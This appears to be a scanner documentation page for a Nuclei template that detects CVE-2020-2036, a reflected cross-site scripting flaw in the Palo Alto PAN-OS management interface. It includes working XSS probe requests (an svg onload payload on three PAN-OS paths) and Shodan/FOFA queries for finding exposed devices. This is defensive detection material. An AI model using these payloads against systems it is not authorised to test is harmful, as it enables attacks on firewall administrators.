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Palo Alto Networks PAN-OS Web Interface - Cross Site-Scripting

ID: CVE-2020-2036

Severity: high

Author: madrobot,j4vaovo

Tags: cve2020,cve,vpn,xss,paloaltonetworks

Description

Section titled “Description”

PAN-OS management web interface is vulnerable to reflected cross-site scripting. A remote attacker able to convince an administrator with an active authenticated session on the firewall management interface to click on a crafted link to that management web interface could potentially execute arbitrary JavaScript code in the administrator’s browser and perform administrative actions. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9.

YAML Source

Section titled “YAML Source”
id: CVE-2020-2036


info:
  name: Palo Alto Networks PAN-OS Web Interface - Cross Site-Scripting
  author: madrobot,j4vaovo
  severity: high
  description: |
    PAN-OS management web interface is vulnerable to reflected cross-site scripting. A remote attacker able to convince an administrator with an active authenticated session on the firewall management interface to click on a crafted link to that management web interface could potentially execute arbitrary JavaScript code in the administrator's browser and perform administrative actions. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Palo Alto Networks to mitigate this vulnerability.
  reference:
    - https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/
    - https://security.paloaltonetworks.com/CVE-2020-2036
    - https://nvd.nist.gov/vuln/detail/CVE-2020-2036
    - https://github.com/404notf0und/CVE-Flow
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-2036
    cwe-id: CWE-79
    epss-score: 0.03232
    epss-percentile: 0.91222
    cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: paloaltonetworks
    product: pan-os
    shodan-query:
      - http.favicon.hash:"-631559155"
      - cpe:"cpe:2.3:o:paloaltonetworks:pan-os"
    fofa-query: icon_hash="-631559155"
  tags: cve2020,cve,vpn,xss,paloaltonetworks


flow: http(1) && http(2)


http:
  - raw:
      - |
        GET /global-protect/login.esp HTTP/1.1
        Host: {{Hostname}}


    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: body
        words:
          - "GlobalProtect"
          - "gp_portal"
        internal: true
        condition: or


  - raw:
      - |
        GET /_404_/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /unauth/php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "!contains(tolower(body_1), '<svg/onload=alert(document.domain)>')"
        condition: and


      - type: dsl
        dsl:
          - "status_code_2 == 200 && contains(header_2, 'text/html') && contains(tolower(body_2), '<svg/onload=alert(document.domain)>')"
          - "status_code_3 == 200 && contains(header_3, 'text/html') && contains(tolower(body_3), '<svg/onload=alert(document.domain)>')"
        condition: or
# digest: 4a0a004730450220088ef2b26dfdd3979b86d70fbc3b4e8e87ed52f5c32f7c46a431ece13e13a8b8022100e6283560adc4fd515001e924465b1d4416e66661b928379192131d78d9924acc:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-2036.yaml"

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